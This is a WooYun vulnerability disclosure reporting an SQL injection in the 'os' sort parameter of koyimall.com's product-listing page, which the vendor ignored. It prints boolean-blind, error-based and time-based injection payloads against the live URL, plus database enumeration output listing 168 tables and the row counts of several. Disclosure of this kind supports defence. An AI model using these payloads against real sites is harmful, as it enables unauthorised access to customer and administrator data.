当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0139471

漏洞标题:韩尚聚网站sql注入一枚

相关厂商:koyimall.com

漏洞作者: 日出东方

提交时间:2015-09-07 10:51

修复时间:2015-09-12 10:52

公开时间:2015-09-12 10:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-07: 细节已通知厂商并且等待厂商处理中
2015-09-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

在来一发

详细说明:

之前提交了一个

http://m.koyimall.com

的注入
这次是

http://www.koyimall.com


http://www.koyimall.com/?act=shop.goods_list&GC=GD0H&oc=good_buy_total&os=desc&page=1&ST=&mode=&list_num=24


同样是一个参数,os排序,没过滤。
哎~一声叹息~

漏洞证明:

Parameter: os (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
Payload: act=shop.goods_list&GC=GD0H&oc=good_buy_total&os=desc,(SELECT (CASE
WHEN (8274=8274) THEN 1 ELSE 8274*(SELECT 8274 FROM INFORMATION_SCHEMA.CHARACTE
R_SETS) END))&page=1&ST=&mode=&list_num=24
Type: error-based
Title: MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause
Payload: act=shop.goods_list&GC=GD0H&oc=good_buy_total&os=desc,(SELECT 4425
FROM(SELECT COUNT(*),CONCAT(0x71766b6271,(SELECT (ELT(4425=4425,1))),0x71706b787
1,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&page=1
&ST=&mode=&list_num=24
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause
Payload: act=shop.goods_list&GC=GD0H&oc=good_buy_total&os=desc,(SELECT (CASE
WHEN (4688=4688) THEN SLEEP(5) ELSE 4688*(SELECT 4688 FROM INFORMATION_SCHEMA.C
HARACTER_SETS) END))&page=1&ST=&mode=&list_num=24
---
[10:01:50] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.5
back-end DBMS: MySQL 5.0
available databases [3]:
[*] information_schema
[*] koyimall
[*] test
Database: koyimall
[168 tables]
+---------------------------------+
| alipay_login |
| durian_admin |
| durian_admin_auth |
| durian_admin_login |
| durian_admin_memo |
| durian_admin_menu |
| durian_admin_postit |
| durian_bank |
| durian_banner |
| durian_banner_click |
| durian_bbs_category |
| durian_bbs_comment |
| durian_bbs_data |
| durian_bbs_file |
| durian_bbs_setup |
| durian_bbs_vote |
| durian_buy |
| durian_buy_bill |
| durian_buy_change_log |
| durian_buy_claim |
| durian_buy_claim_goods |
| durian_buy_excel |
| durian_buy_excel_ext |
| durian_buy_ext |
| durian_buy_ext_set |
| durian_buy_goods |
| durian_buy_goods_status_log |
| durian_buy_recommend |
| durian_buy_stat |
| durian_calendar |
| durian_cart |
| durian_country |
| durian_coupon |
| durian_coupon_data |
| durian_coupon_file |
| durian_coupon_goods |
| durian_coupon_goods_give |
| durian_coupon_log |
| durian_coupon_policy |
| durian_customer_qna |
| durian_customer_qna_category |
| durian_customer_qna_reply |
| durian_delivery_area |
| durian_delivery_company |
| durian_delivery_cost |
| durian_delivery_cost_area |
| durian_delivery_extra |
| durian_delivery_policy |
| durian_delivery_policy_range |
| durian_design_flash |
| durian_design_font |
| durian_design_keyword |
| durian_design_layout |
| durian_design_module |
| durian_design_module_current |
| durian_design_module_reserve |
| durian_design_module_set |
| durian_design_module_set_bbs |
| durian_design_module_set_data |
| durian_design_page |
| durian_design_policy |
| durian_design_source |
| durian_design_tpl |
| durian_estimate |
| durian_estimate_goods |
| durian_event |
| durian_event_goods |
| durian_form_category |
| durian_form_data |
| durian_form_set |
| durian_form_setup |
| durian_good_brand |
| durian_good_category |
| durian_good_category_multi |
| durian_good_category_related |
| durian_good_category_style |
| durian_good_category_taobao |
| durian_good_check_option |
| durian_good_extend |
| durian_good_fabric_tip |
| durian_good_fabric_tip_title |
| durian_good_file |
| durian_good_main |
| durian_good_main_list |
| durian_good_maker |
| durian_good_option_grid |
| durian_good_option_grid_value |
| durian_good_option_set |
| durian_good_option_set_list |
| durian_good_option_set_value |
| durian_good_option_single |
| durian_good_option_single_value |
| durian_good_policy |
| durian_good_related |
| durian_good_stat |
| durian_good_tmp |
| durian_good_view |
| durian_goods |
| durian_icon |
| durian_icon_group |
| durian_keyword |
| durian_keyword_stat |
| durian_mail_auto |
| durian_mail_policy |
| durian_mail_result |
| durian_mail_send |
| durian_mail_tpl |
| durian_mail_tpl_category |
| durian_market_group |
| durian_market_group_log |
| durian_memo_policy |
| durian_memo_recv |
| durian_memo_send |
| durian_memo_tpl |
| durian_mileage_log |
| durian_mileage_pay |
| durian_mileage_policy |
| durian_pay |
| durian_point_log |
| durian_point_policy |
| durian_poll |
| durian_poll_answer |
| durian_poll_comment |
| durian_poll_vote |
| durian_popup |
| durian_popup_tpl |
| durian_redbean |
| durian_sf_barcode |
| durian_shop |
| durian_shop_account |
| durian_shop_company |
| durian_shop_domain |
| durian_shop_policy |
| durian_sms_auto |
| durian_sms_policy |
| durian_sms_result |
| durian_sms_send |
| durian_sms_tpl |
| durian_sms_tpl_category |
| durian_stat_check |
| durian_talk |
| durian_talk_policy |
| durian_user |
| durian_user_address |
| durian_user_deny |
| durian_user_join_ext |
| durian_user_join_policy |
| durian_user_level |
| durian_user_levelup_log |
| durian_user_login |
| durian_user_privacy |
| durian_user_provision |
| durian_user_recommend |
| durian_user_secede |
| durian_user_secede_poll |
| durian_user_secede_poll_data |
| durian_user_stat |
| durian_wish_list |
| durian_zipcode |
| gmay_gift_event |
| main_banner_info |
| main_banner_prd_info |
| main_plan_info |
| main_ranking_info |
| pay_alipay_return |
| pay_mileage_return |
| ranking_info |
| ranking_temp_info |
+---------------------------------+
| durian_keyword_stat | 221556 |
| durian_good_fabric_tip | 170991 |
| durian_mail_result | 141431 |
| durian_user_login | 136143 |
| durian_good_option_single_value | 134240 |
| durian_good_file | 108693 |
| durian_buy_goods | 86863 |
同样的 你说呢

修复方案:

你懂的

版权声明:转载请注明来源 日出东方@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-12 10:52

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2015-09-08 16:13 | 日出东方 ( 普通白帽子 | Rank:161 漏洞数:51 )

    @韩尚聚 大哥你们的网站有漏洞,还不来确认?